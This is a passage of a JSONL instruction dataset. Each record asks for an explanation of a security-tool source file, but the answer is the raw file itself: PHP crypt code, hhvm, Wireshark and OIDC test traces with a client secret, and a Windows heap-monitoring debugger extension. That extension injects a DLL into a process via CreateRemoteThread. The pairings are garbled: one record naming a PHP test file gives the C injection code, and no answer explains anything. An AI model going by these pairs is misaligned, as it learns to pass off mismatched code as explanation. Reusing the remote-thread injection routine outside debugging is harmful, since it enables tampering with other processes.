libcs. */\nchar *\nphp_sha512_crypt(const char *key, const char *salt) {\n /* We don't want to have an arbitrary limit in the size of the\n password. We can compute an upper bound for the size of the\n result in advance and so we can prepare the buffer we pass to\n `sha512_crypt_r'. */\n static char *buffer;\n static int buflen;\n int needed = (int)(sizeof(sha512_salt_prefix) - 1\n + sizeof(sha512_rounds_prefix) + 9 + 1\n + strlen(salt) + 1 + 86 + 1);\n\n if (buflen < needed) {\n char *new_buffer = (char *) realloc(buffer, needed);\n if (new_buffer == NULL) {\n return NULL;\n }\n\n buffer = new_buffer;\n buflen = needed;\n }\n\n return php_sha512_crypt_r (key, salt, buffer, buflen);\n}\n\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:32178"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/hack/src/naming/naming_elab_everything_sdt.mli' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "(*\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the \"hack\" directory of this source tree.\n *\n *)\n\n(* This elaboration pass will:\n - pessimise return types; and\n - add `SupportDyn` attributes to classes; and\n - add upper bounds to type parameters.\n\n It is intended for use when the `--everything-sdt` typechecker option is set\n*)\n\nval top_down_pass : Naming_phase_env.t Naming_phase_pass.t\n\nval bottom_up_pass : Naming_phase_env.t Naming_phase_pass.t", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:4134"}} -{"instruction": "Explain the purpose and role of 'wireshark/test/captures/dtn_udpcl_bpv7_bpsec_bcb_admin.cbordiag' from the wireshark security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "[_\n [7, 11094, 1, [2, [26622, 12070]], [2, [5279, 7390]], [2, [4785, 1111]], [81089243, 993], 52532350140, 1646, 2047, h'55E4'],\n [7, 7, 175, 0, 24(h'1B000000013075CD37')],\n [10, 5, 89, 0, 24(h'820007')],\n [12, 25, 162, 0, 63(h'8101 02 01 82028219149f191cde 84 8201426869 820205 8203426869 820407 8181 8201457468657265')],\n [1, 1, 3, 0, 24(h'8201848482F41B000000018BA3F02382F41A3027AC8782F41B000000018DFAF97381F503820282185D18B9821A533D733D190119')]\n]", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:57801"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/hack/test/typecheck/abstract_abstract1.php' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "\n#include \n\n#include \"byakugan.h\"\n#include \"tenketsu.h\"\n#include \"heapStructs.h\"\n\n#define BUFSIZE\t\t4096\n\n// UNDOCUMENTED FUNCTIONS TO ADD\n//\n//\t\tRtlAllocateMemoryBlockLookaside\n//\t\tRtlFreeMemoryBlockLookaside\n//\t\t\n//\t\tRtlCreateMemoryBlockLookaside\n//\t\tRtlDestroyMemoryBlockLookaside\n//\t\t\n//\t\tRtlExtendMemoryBlockLookaside\n//\t\tRtlResetMemoryBlockLookaside\n\nPCSTR\tundocdFunc[] = { \"ntdll!RtlpCoalesceFreeBlocks\", NULL };\nULONG\tundocdAddr[sizeof (undocdFunc)+1];\n\nstruct HeapState\t\theapModel;\nBOOLEAN\t\t\t\t\trunning = FALSE;\n\n// Two things that fucking rock? Bunnies and Jaguars. Werd.\n\n\nint hookRtlHeap(BYTE type, char *fileName) {\n HRESULT Status;\n HANDLE process;\n DWORD pid;\n HANDLE processHandle = 0;\n HANDLE threadHandle = 0;\n LPVOID stringAddress = NULL;\n LPCSTR dllName = \"C:\\\\windbg\\\\injectsu.dll\";\n ULONG64 funcAddr64;\n ULONG *funcAddr, i;\n\n\theapModel.state = heapModel.state ^ type;\n\n\tif (running) {\n\t\tdprintf(\"[Byakugan] Hooks are already injected.\\n\");\n\t\treturn (0);\n\t}\n\n\trunning = TRUE;\n\n\tdprintf(\"[Byakugan] Beginning data gathering thread... \");\n\tif(tenkListener()) {\n\t\tdprintf(\"\\n[Byakugan] Failed to create heap info back channel :(\\n\");\n\t\tVirtualFreeEx(processHandle, stringAddress, strlen(dllName), MEM_DECOMMIT);\n CloseHandle(processHandle); \n return (-1);\t\n\t}\n \tdprintf(\"Success!\\n[Byakugan] Injecting Tenketsu Heap Monitoring DLL... \");\n \n\tStatus = g_ExtSystem->GetCurrentProcessSystemId(&pid);\n if (Status != S_OK)\n return (-1);\n\n if(!(processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid))){\n dprintf(\"\\n[Byakugan] Unable to OpenProcess().\\n\");\n return (-1);\n }\n\n if(!(stringAddress = VirtualAllocEx(processHandle, NULL, strlen(dllName), MEM_COMMIT, PAGE_EXECUTE_READWRITE))){\n printf(\"\\n[Byakugan] VirtualAllocEx() failed.\\n\");\n CloseHandle(processHandle);\n return (-1);\n }\n\n if(!WriteProcessMemory(processHandle, (LPVOID)stringAddress, dllName, strlen(dllName), NULL)){\n dprintf(\"\\n[Byakugan] WriteProcessMemory() failed.\\n\");\n VirtualFreeEx(processHandle, stringAddress, strlen(dllName), MEM_DECOMMIT);\n CloseHandle(processHandle);\n return (-1);\n }\n\n dprintf(\"Success!\\n\");\n\n\t// Resolve undocumented functions!\t\n i = 0;\n\tg_ExtSymbols->Reload(\"/f ntdll.dll\");\n\tdprintf(\"[Byakugan] Resolving undocumented Heap functions...\\n\");\n while (undocdFunc[i] != NULL) {\n\t\tif (g_ExtSymbols->GetOffsetByName(undocdFunc[i], &funcAddr64) == E_FAIL)\n\t\t\tfuncAddr64 = NULL;\n\t\tfuncAddr = (ULONG *) &funcAddr64;\n if (*funcAddr != NULL)\n dprintf(\"[T] Resolved undocumented function '%s' @ 0x%08x.\\n\", undocdFunc[i], *funcAddr);\n else\n dprintf(\"[T] Unable to resolve undocumented function '%s' :(\\n\", undocdFunc[i]);\n undocdAddr[i] = *funcAddr;\n i++;\n }\n undocdAddr[i] = NULL;\n\n\n if(!(threadHandle = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)GetProcAddress(LoadLibrary(\"kernel32.dll\"), \"LoadLibraryA\"), \\\n (LPVOID)stringAddress, 0, NULL))){\n dprintf(\"\\n[Byakugan] CreateRemoteThread() failed.\\n\");\n VirtualFreeEx(processHandle, stringAddress, strlen(dllName), MEM_DECOMMIT);\n CloseHandle(processHandle);\n return (-1);\n }\n\n\tCloseHandle(threadHandle);\n CloseHandle(processHandle);\n\n\t// Set up the log file\n\tif (type == 2) {\n\t\theapModel.hLogFile = CreateFileA(fileName, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);\n\t\tif (!heapModel.hLogFile) {\n\t\t\tdprintf(\"[T] Unable to open file \\\"%s\\\" for writing. :(\\n\");\n\t\t}\n\t}\n\n return (0);\n}\n\nint tenkListener(void) {\n \tBOOL fConnected; \n \tDWORD dwThreadId; \n \tHANDLE hPipe, hThread; \n \tLPTSTR lpszPipename = TEXT(\"\\\\\\\\.\\\\pipe\\\\tenketsu\"); \n\n\t\n\thPipe = CreateNamedPipe(\tlpszPipename,\n\t\t\t\t\t\t\t\tPIPE_ACCESS_DUPLEX,\n\t\t\t\t\t\t\t\tPIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,\n\t\t\t\t\t\t\t\tPIPE_UNLIMITED_INSTANCES,\n\t\t\t\t\t\t\t\tBUFSIZE,\n\t\t\t\t\t\t\t\tBUFSIZE,\n\t\t\t\t\t\t\t\tNMPWAIT_USE_DEFAULT_WAIT,\n\t\t\t\t\t\t\t\tNULL);\n\t\n\tif (hPipe == INVALID_HANDLE_VALUE) {\n\t\tdprintf(\"[Byakugan] CreateNamedPipe() failed.\\n\");\n\t\treturn (-1);\n\t}\n \n\n\thThread = CreateThread(\t\tNULL,\n\t\t\t\t\t\t\t\t0,\n\t\t\t\t\t\t\t\ttenkBackChannel,\n\t\t\t\t\t\t\t\t(LPVOID) hPipe,\n\t\t\t\t\t\t\t\t0,\n\t\t\t\t\t\t\t\t&dwThreadId);\n\n if (hThread == NULL) {\n dprintf(\"[Byakugan] CreateThread() failed.\\n\");\n return (-1);\n } \n\n\n\tCloseHandle(hThread);\n\n\n\n\treturn (0);\n}\n\nDWORD WINAPI tenkBackChannel(LPVOID lpvParam) {\n\tHANDLE\t\thPipe;\n\tTCHAR\t\tbuf[BUFSIZE+1];\n\tULONG\t\tbytesRead, bytesWritten;\n\tBOOL\t\tfSuccess;\n\tULONG64\t\tfuncAddr64;\n\tULONG\t\t*funcAddr, i;\n\t\n\n\tstruct AllocateStruct\t*aStruct = (struct AllocateStruct *)buf;\n\tstruct ReallocateStruct\t*rStruct = (struct ReallocateStruct *)buf;\n\tstruct FreeStruct\t\t*fStruct = (struct FreeStruct *)buf;\n\tstruct CreateStruct\t\t*cStruct = (struct CreateStruct *)buf;\n\tstruct DestroyStruct\t*dStruct = (struct DestroyStruct *)buf;\n\tstruct CoalesceStruct\t*cfbStruct = (struct CoalesceStruct *)buf;\n\n\t\n\thPipe = (HANDLE) lpvParam;\n\t\n\tdprintf(\"[Byakugan] Waiting for named pipe connection...\\n\");\n\n\tfor(;!ConnectNamedPipe(hPipe, NULL) == TRUE;) { dprintf(\"[B] waiting for connection...\\n\"); }\n\n\tdprintf(\"[Byakugan] Connected to back channel. :)\\n\");\n\n\t// Load addresses from symbols if possible for undoumented interfaces\n\ti = 0;\n\twhile (undocdFunc[i] != NULL) {\n\t\tdprintf(\"[T] Sending address of %s\\n\", undocdFunc[i]);\n\t\tfSuccess = WriteFile(hPipe, &(undocdAddr[i]), sizeof(ULONG), &bytesWritten, NULL);\n\t\tif (!fSuccess || bytesWritten != sizeof(ULONG))\n\t\t\tdprintf(\"[T] Failed to send address of %s\\n\", undocdFunc[i]);\n\t\ti++;\n\t}\n\t//FlushFileBuffers(hPipe);\n\tdprintf(\"[T] Sent addresses of %d undocumented functions.\\n\", i);\n\n\tinitializeHeapModel(&heapModel);\n\n#undef THREEDHEAPFU_ENABLED //Place this in setup.bat\n\n#if 0 //#ifdef THREEDHEAPFU_ENABLED\n//Create a heap event proxy, play these back out to 3dheapfu\nLPTSTR\tlpszProxyPipename = TEXT(\"\\\\\\\\.\\\\pipe\\\\tenketsuProxy\");\nBOOL\tfProxySuccess;\nDWORD\tdwProxyMode\t= PIPE_READMODE_MESSAGE;\nULONG bytesProxyWritten;\nstatic BOOL\tfDontAttemptProxyWrite = false;\n\nHANDLE hProxyPipe = CreateFile(lpszProxyPipename,\n\t\t\t\t\t\t\t\tGENERIC_READ | GENERIC_WRITE,\n\t\t\t\t\t\t\t\t0,\n\t\t\t\t\t\t\t\tNULL,\n\t\t\t\t\t\t\t\tOPEN_EXISTING,\n\t\t\t\t\t\t\t\t0,\n\t\t\t\t\t\t\t\tNULL);\n\n\t\t\tif (hProxyPipe == INVALID_HANDLE_VALUE)\n\t\t\t\t\tdprintf(\"hProxyPipe == invalid handle\\n\");\n\t\t\telse\n\t\t\t\t\tdprintf(\"hProxyPipe == good\\n\");\n\t\t\tSetNamedPipeHandleState(hProxyPipe, &dwProxyMode, NULL, NULL); //?\n\n#endif\n\n\twhile (1) {\n\t\tfSuccess = ReadFile(\thPipe,\n\t\t\t\t\t\t\t\tbuf,\n\t\t\t\t\t\t\t\tBUFSIZE*sizeof(TCHAR),\n\t\t\t\t\t\t\t\t&bytesRead,\n\t\t\t\t\t\t\t\tNULL);\n\t\tif (!fSuccess || bytesRead == 0) {\n\t\t\tdprintf(\"[Byakugan] ReadFile failed, or read 0 bytes.\\n\");\n\t\t\tcontinue;\n\t\t}\n#if 0 //#ifdef THREEDHEAPFU_ENABLED\n\t\t//dprintf(\"jc: receieved an event of size %d. Forwarding on to ProxyPipe\\n\", bytesRead);\n\t\t//WriteFile(hPipe, &freeinfo, sizeof(struct FreeStruct), &bytesWritten, NULL);\n\n\t\tif (!fDontAttemptProxyWrite)\n\t\t{\n\t\t\tfProxySuccess = WriteFile(hProxyPipe, buf, bytesRead, &bytesProxyWritten, NULL); \n\t\t\tif (bytesRead != bytesProxyWritten)\n\t\t\t{\n\t\t\t\tdprintf(\"Partial write to proxy on last event! ;(\\n\");\n\t\t\t\tdprintf(\"event size was %d. wrote %d\\n\", bytesRead, bytesProxyWritten);\n\t\t\t\tdprintf(\"Disabling message proxying until explicitly enabled.\\n\");\n\t\t\t\tfDontAttemptProxyWrite = true;\n\t\t\t}\n\t\t}\n\n#endif\n\t\tswitch ( *((BYTE *) buf) ) {\n\t\t\tcase ALLOCATESTRUCT:\n\t\t\t\t//dprintf(\"[T] New Chunk @ 0x%08x\\n\", aStruct->ret);\n\t\t\t\t//dprintf(\"Heap: 0x%08x\\tFlags: 0x%08x\\tSize: 0x%08x\\n\\n\", \n\t\t\t\t//\t\taStruct->heapHandle, aStruct->flags, aStruct->size);\n\t\t\t\tif (heapModel.state & MODEL) heapAllocate(&heapModel, aStruct);\n\t\t\t\tif (heapModel.state & LOG) logAllocate(&heapModel, aStruct);\n\t\t\t\tbreak;\n\n\t\t\tcase REALLOCATESTRUCT:\n\t\t\t\t//dprintf(\"[T] Realloc'd Chunk @ 0x%08x\\n\", rStruct->ret);\n\t\t\t\t//dprintf(\"Heap: 0x%08x\\tFlags: 0x%08x\\tSize: 0x%08x\\n\", \n\t\t\t\t//\t\trStruct->heapHandle, rStruct->flags, rStruct->size);\n\t\t\t\t//if (rStruct->ret != (PVOID) rStruct->memoryPointer)\n\t\t\t\t//\tdprintf(\"Replaces chunk @ 0x%08x\\n\", rStruct->memoryPointer);\n\t\t\t\t//dprintf(\"\\n\");\n\t\t\t\tif (heapModel.state & MODEL) heapReallocate(&heapModel, rStruct);\n\t\t\t\tif (heapModel.state & LOG) logReallocate(&heapModel, rStruct);\n\t\t\t\tbreak;\n\n\t\t\tcase FREESTRUCT:\n\t\t\t\t//dprintf(\"[T] Free'd Chunk @ 0x%08x\\n\", fStruct->memoryPointer);\n\t\t\t\t//dprintf(\"Heap: 0x%08x\\tFlags: 0x%08x\\n\\n\", fStruct->heapHandle, fStruct->flags);\n\t\t\t\tif (heapModel.state & MODEL) heapFree(&heapModel, fStruct);\n\t\t\t\tif (heapModel.state & LOG) logFree(&heapModel, fStruct);\n\t\t\t\tbreak;\n\n\t\t\tcase CREATESTRUCT:\n\t\t\t\tdprintf(\"[T] New Heap: 0x%08x\\n\", cStruct->ret);\n\t\t\t\tdprintf(\"Base: 0x%08x\\tReserve: 0x%08x\\tFlags: 0x%08x\\n\",\n\t\t\t\t\t\tcStruct->base, cStruct->reserve, cStruct->flags);\n\t\t\t\t//dprintf(\"Commit: 0x%08x\\tLock: 0x%08x\\n\\n\", cStruct->commit, cStruct->lock);\n\t\t\t\tif (heapModel.state & MODEL) heapCreate(&heapModel, cStruct);\n\t\t\t\tbreak;\n\n\t\t\tcase DESTROYSTRUCT:\n\t\t\t\tdprintf(\"[T] Heap Destroyed: 0x%08x\\n\\n\", dStruct->heapHandle);\n\t\t\t\tif (heapModel.state & MODEL) heapDestroy(&heapModel, dStruct);\n\t\t\t\tbreak;\n\t\t\t\n\t\t\tcase COALESCESTRUCT:\n\t\t\t\t//dprintf(\"[T] Free Block Consolidation (returned 0x%08x)\\n\", cfbStruct->ret);\n\t\t\t\t//dprintf(\"Heap: 0x%08x\\tArg2: 0x%08x\\tArg3: 0x%08x\\tArg4: 0x%08x\\n\\n\",\n\t\t\t\t//\t\tcfbStruct->heapHandle, cfbStruct->arg2, cfbStruct->arg3, cfbStruct->arg4);\n\t\t\t\tif (heapModel.state & MODEL) heapCoalesce(&heapModel, cfbStruct);\n\t\t\t\tbreak;\n\n\t\t\tdefault:\n\t\t\t\tdprintf(\"[Byakugan] Tenketsu: Unrecognized data was returned.\\n\");\n\t\t}\n\n\t}\n\n\n\treturn (0);\n}\n\nvoid tenkHelp() {\n\tdprintf(HELPSTRING);\n\tdprintf(\"Tenketsu Commands:\\n\");\n\tdprintf(\"\\tmodel\\t- Load tenketsu heap visualization libraries and begin modeling\\n\");\n\tdprintf(\"\\tlog\\t- Load tenketsu heap visualization libraries and begin logging\\n\");\n\tdprintf(\"\\tlistHeaps\\t- List all currently tracked heaps and their information\\n\");\n\tdprintf(\"\\tlistChunks \\t- List all chunks associated with a givend heap\\n\");\n\tdprintf(\"\\tvalidate - check the chunk chain and find corrupted chunk headers\\n\");\n}\n\nvoid tenkListHeaps() {\n\tstruct HPool\t*curHeap;\n\tULONG\t\t\ti;\n\n\tdprintf(\"[T] Currently tracking %d heaps:\\n\", heapModel.numHeaps);\n\tfor (i = 0; i < heapModel.numHeaps; i++) {\n\t\tcurHeap = &(heapModel.heaps[i]);\n\t\tif (curHeap->inUse == FALSE)\n\t\t\tcontinue;\n\t\tdprintf(\"\\tBase: 0x%08x\\tNumber of Chunks: %d\\n\", curHeap->base, curHeap->numChunks);\n\t\tdprintf(\"\\tFlags: 0x%08x\\tReserve: 0x%08x\\n\", \n\t\t\t\tcurHeap->flags, curHeap->reserve, curHeap->commit);\n\t\tdprintf(\"\\tLock: 0x%08x\\n\\n\", curHeap->lock);\n\t}\n}\n\nvoid tenkValidate(PVOID heapHandle) {\n\tstruct HPool *heap;\n struct DestroyStruct dStruct;\n struct HeapChunk *curChunk;\n\tULONG\t\t\t\t\tchunkPtr;\n ULONG i, nextIndex;\n\tBOOL\t\t\t\t\tscrewed = FALSE;\n\n\theap = getHeap(&heapModel, heapHandle);\n\n\ti = heap->inUseHead;\n\twhile (i != NULLNODE) {\n\t\tif (CHUNK(i).free) {\n\t\t\t// CHUNK(i).nextInUse must be equal to the next ptr\n\t\t\tif(!ReadMemory((ULONG64)(CHUNK(i).addr)+4, (PVOID) &chunkPtr, 4, NULL)) {\n\t\t\t\tdprintf(\"[T] Unable to read memory at address 0x%08x\\n!\");\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t// Find next free chunk - continue if there are no more\n\t\t\tnextIndex = CHUNK(i).nextInUse;\n\t\t\twhile (nextIndex != NULLNODE && !(CHUNK(nextIndex).free))\n\t\t\t\tnextIndex = CHUNK(nextIndex).nextInUse;\n\t\t\tif (nextIndex == NULLNODE) {\n\t\t\t\ti = CHUNK(i).nextInUse;\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t// Validate next free chunk\n\t\t\tif (CHUNK(nextIndex).addr != (PVOID) chunkPtr) {\n\t\t\t\tdprintf(\"[T] Corruped next pointer for chunk at 0x%08x\\n\", CHUNK(i).addr);\n\t\t\t\tdprintf(\">\\tGot: 0x%08x\\tExpected: 0x%08x\\n\", chunkPtr, CHUNK(nextIndex).addr);\n\t\t\t\tscrewed = TRUE;\n\t\t\t}\n\t\t\t\n\t\t\t// next free chunk prev, must equal CHUNK(i).addr\n\t\t\tif(!ReadMemory((ULONG64)CHUNK(nextIndex).addr, (PVOID) &chunkPtr, 4, NULL)) {\n dprintf(\"[T] Unable to read memory at address 0x%08x\\n!\");\n return; \n }\n\t\t\tif ((PVOID) chunkPtr != CHUNK(i).addr) {\n dprintf(\"[T] Corruped prev pointer for chunk at 0x%08x\\n\", CHUNK(nextIndex).addr);\n dprintf(\">\\tGot: 0x%08x\\tExpected: 0x%08x\\n\", chunkPtr, CHUNK(i).addr);\n\t\t\t\tscrewed = TRUE;\n\t\t\t}\n\t\t\n\t\t\n\t\t} else {\n\t\t}\n\t\ti = CHUNK(i).nextInUse;\n\t}\n\t\n\tdprintf(\"[T] Validation complete: \");\n\tif (!screwed)\n\t\tdprintf(\"all known free chunks are correct\\n\");\n\telse\n\t\tdprintf(\"errors found\\n\");\n}\n\nvoid tenkListChunks(PVOID heapHandle) {\n\tstruct HPool\t\t\t*heap;\n\tstruct DestroyStruct\tdStruct;\n\tstruct HeapChunk\t\t*curChunk;\n\tULONG\t\t\t\t\ti;\n\n\theap = getHeap(&heapModel, heapHandle);\n\tdprintf(\"[T] Currently tracking %d chunks for heap 0x%08x\\n\", \n\t\t\theap->numChunks, heap->base);\n\t\n\ti = heap->inUseHead;\n\twhile (i != NULLNODE) {\n\t\tif (CHUNK(i).inUse) {\n\t\t\tdprintf(\"\\tAddress: 0x%08x\\tSize: 0x%08x\", CHUNK(i).addr, CHUNK(i).size);\n\t\t\tdprintf(\"\\tFlags: 0x%08x\\t%s\\n\\n\", CHUNK(i).flags, \n\t\t\t\t\t(CHUNK(i).free)?\"FREE'D\":\"IN USE\");\n\t\t}\n\t\ti = CHUNK(i).nextInUse;\n\t}\n\n\tif (heap->numChunks == 0) {\n\t\tdStruct.heapHandle\t= heap->base;\n\t\theapDestroy(&heapModel, &dStruct);\n\t}\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:37901"}} -{"instruction": "Explain the purpose and role of 'hydra/internal/certification/I.F.T.T.s/OP-Registration-policy_uri.txt' from the hydra security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "Test tool version: 2.1.3\nIssuer: https://oidc-certification.ory.sh:8443/\nProfile: []\nTest ID: OP-Registration-policy_uri\nTest description: Registration with policy_uri\nTimestamp: 2018-06-23T11:27:13Z\n\n============================================================\n\nTrace output\n\n0.0 phase <--<-- 0 --- Note -->-->\n0.99 phase <--<-- 1 --- Webfinger -->-->\n0.99 not expected to do WebFinger\n0.99 phase <--<-- 2 --- Discovery -->-->\n0.99 provider_config kwargs:{'issuer': 'https://oidc-certification.ory.sh:8443/'}\n1.065 http response url:https://oidc-certification.ory.sh:8443/.well-known/openid-configuration status_code:200\n1.067 ProviderConfigurationResponse {\n \"authorization_endpoint\": \"https://oidc-certification.ory.sh:8443/oauth2/auth\",\n \"claims_parameter_supported\": false,\n \"claims_supported\": [\n \"sub\"\n ],\n \"grant_types_supported\": [\n \"authorization_code\",\n \"implicit\",\n \"client_credentials\",\n \"refresh_token\"\n ],\n \"id_token_signing_alg_values_supported\": [\n \"RS256\"\n ],\n \"issuer\": \"https://oidc-certification.ory.sh:8443/\",\n \"jwks_uri\": \"https://oidc-certification.ory.sh:8443/.well-known/jwks.json\",\n \"registration_endpoint\": \"https://oidc-certification.ory.sh:8443/clients\",\n \"request_parameter_supported\": true,\n \"request_uri_parameter_supported\": true,\n \"require_request_uri_registration\": true,\n \"response_modes_supported\": [\n \"query\",\n \"fragment\"\n ],\n \"response_types_supported\": [\n \"code\",\n \"code id_token\",\n \"id_token\",\n \"token id_token\",\n \"token\",\n \"token id_token code\"\n ],\n \"scopes_supported\": [\n \"offline\",\n \"openid\"\n ],\n \"subject_types_supported\": [\n \"pairwise\",\n \"public\"\n ],\n \"token_endpoint\": \"https://oidc-certification.ory.sh:8443/oauth2/token\",\n \"token_endpoint_auth_methods_supported\": [\n \"client_secret_post\",\n \"client_secret_basic\",\n \"private_key_jwt\",\n \"none\"\n ],\n \"userinfo_endpoint\": \"https://oidc-certification.ory.sh:8443/userinfo\",\n \"userinfo_signing_alg_values_supported\": [\n \"none\",\n \"RS256\"\n ],\n \"version\": \"3.0\"\n}\n1.067 phase <--<-- 3 --- Registration -->-->\n1.067 register kwargs:{'application_name': 'OIC test tool', 'policy_uri': 'https://op.certification.openid.net:61353/static/policy.html', 'response_types': ['id_token'], 'contacts': ['roland@example.com'], 'redirect_uris': ['https://op.certification.openid.net:61353/authz_cb'], 'post_logout_redirect_uris': ['https://op.certification.openid.net:61353/logout'], 'jwks_uri': 'https://op.certification.openid.net:61353/static/jwks_61353.json', 'grant_types': ['implicit'], 'application_type': 'web', 'url': 'https://oidc-certification.ory.sh:8443/clients'}\n1.067 RegistrationRequest {\n \"application_type\": \"web\",\n \"contacts\": [\n \"roland@example.com\"\n ],\n \"grant_types\": [\n \"implicit\"\n ],\n \"jwks_uri\": \"https://op.certification.openid.net:61353/static/jwks_61353.json\",\n \"policy_uri\": \"https://op.certification.openid.net:61353/static/policy.html\",\n \"post_logout_redirect_uris\": [\n \"https://op.certification.openid.net:61353/logout\"\n ],\n \"redirect_uris\": [\n \"https://op.certification.openid.net:61353/authz_cb\"\n ],\n \"request_uris\": [\n \"https://op.certification.openid.net:61353/requests/e3ecc141f5419bd33d25d760861d32323144d583feaf26eb1b5cbf20147608b9#U9xLTrHtq372wUTA\"\n ],\n \"response_types\": [\n \"id_token\"\n ]\n}\n1.256 http response url:https://oidc-certification.ory.sh:8443/clients status_code:201\n1.257 RegistrationResponse {\n \"client_id\": \"c8b7f7fa-9322-431c-95d0-70f0c689343c\",\n \"client_secret\": \"T7kISiPlG5DT\",\n \"client_secret_expires_at\": 0,\n \"contacts\": [\n \"roland@example.com\"\n ],\n \"grant_types\": [\n \"implicit\"\n ],\n \"id\": \"c8b7f7fa-9322-431c-95d0-70f0c689343c\",\n \"jwks_uri\": \"https://op.certification.openid.net:61353/static/jwks_61353.json\",\n \"policy_uri\": \"https://op.certification.openid.net:61353/static/policy.html\",\n \"public\": false,\n \"redirect_uris\": [\n \"https://op.certification.openid.net:61353/authz_cb\"\n ],\n \"request_uris\": [\n \"https://op.certification.openid.net:61353/requests/e3ecc141f5419bd33d25d760861d32323144d583feaf26eb1b5cbf20147608b9#U9xLTrHtq372wUTA\"\n ],\n \"response_types\": [\n \"id_token\"\n ],\n \"scope\": \"openid offline offline_access profile email address phone\",\n \"token_endpoint_auth_method\": \"client_secret_basic\",\n \"userinfo_signed_response_alg\": \"none\"\n}\n1.257 phase <--<-- 4 --- AsyncAuthn -->-->\n1.257 AuthorizationRequest {\n \"client_id\": \"c8b7f7fa-9322-431c-95d0-70f0c689343c\",\n \"nonce\": \"jWNEXypomelHmRyv\",\n \"redirect_uri\": \"https://op.certification.openid.net:61353/authz_cb\",\n \"response_type\": \"id_token\",\n \"scope\": \"openid\",\n \"state\": \"W0XLn0WL33ENJPd8\"\n}\n1.258 redirect url https://oidc-certification.ory.sh:8443/oauth2/auth?scope=openid&redirect_uri=https%3A%2F%2Fop.certification.openid.net%3A61353%2Fauthz_cb&client_id=c8b7f7fa-9322-431c-95d0-70f0c689343c&state=W0XLn0WL33ENJPd8&response_type=id_token&nonce=jWNEXypomelHmRyv\n1.258 redirect https://oidc-certification.ory.sh:8443/oauth2/auth?scope=openid&redirect_uri=https%3A%2F%2Fop.certification.openid.net%3A61353%2Fauthz_cb&client_id=c8b7f7fa-9322-431c-95d0-70f0c689343c&state=W0XLn0WL33ENJPd8&response_type=id_token&nonce=jWNEXypomelHmRyv\n3.699 http args {}\n3.869 response URL with fragment\n3.87 response id_token=eyJhbGciOiJSUzI1NiIsImtpZCI6InB1YmxpYzowNWMyNDc4ZC02M2VkLTQ3YzgtYWQ5Mi03NTE4MWE1NjdmYTAiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOlsiYzhiN2Y3ZmEtOTMyMi00MzFjLTk1ZDAtNzBmMGM2ODkzNDNjIl0sImF1dGhfdGltZSI6MTUyOTc1MzEzNiwiZXhwIjoxNTI5NzU2ODMzLCJpYXQiOjE1Mjk3NTMyMzMsImlzcyI6Imh0dHBzOi8vb2lkYy1jZXJ0aWZpY2F0aW9uLm9yeS5zaDo4NDQzLyIsImp0aSI6IjRiMjM5YjM2LWI3NzctNDlmOS1hZTMwLTRhM2JlODVmYWM2MiIsIm5vbmNlIjoialdORVh5cG9tZWxIbVJ5diIsInJhdCI6MTUyOTc1MzIzMCwic3ViIjoiZm9vQGJhci5jb20ifQ.RfzfRlzV_uQcpQlVwNJ3q-5eWpGWopQOssHQTuczBh8OylZWR_jRYO6F_XQaChB4Q23P60y8-QShe9A0Vz50kUfOvRL6QHSyMYdwOY1KUwVLBTp9ajEDs3SLkBi5-1P8OTv7eHPu-TvERvjzGZ_wOxoobIKo4VXLRgiRYwkKAASpz2ySPxkZKv92RpyH-UB9KQCHLGvAPBm4f-5ELNoNygFArWM2zlP63wnWZDtPRhooIDNMBns33sKtFptqC0iRNOJB11O8Iov1A-2eMD8StGzCAxK19OKiWus9O4Wy5c-dopAr27gpFXMQEbU-Of5sILheUNy6vuZmab10JO-fx1nDziacJ4T4pT1H-oJYzR8-wvvV1BWw8u9ZCPwkKARhuUp-ZstaQ7QkvTvipoMLL1zXley52YKQTMGgxdqqIBc80sbacg--KbAjOxZgsYAeVgNrjyzXwRtxIOFMZKJC1tWYJToEUCFYtSGVjDnU3y7M_iTmhlvAoyhlJm4zO7raz2UShhDjX65-EbJPWe_J46-JK5HDAA7QaBgJY802OuhQP1lT8xOi_6NqrKuG9QePcjMqFR0EZlMg4mueV3ljIheJo_mOxU55IbrVccNw0PeYPnl0bxZG5PpAGFfdvRGLma5yji7s4lrrkc3ntjMNNZrROiF-ArnuprVBUJVxveM&state=W0XLn0WL33ENJPd8\n3.87 response {'id_token': 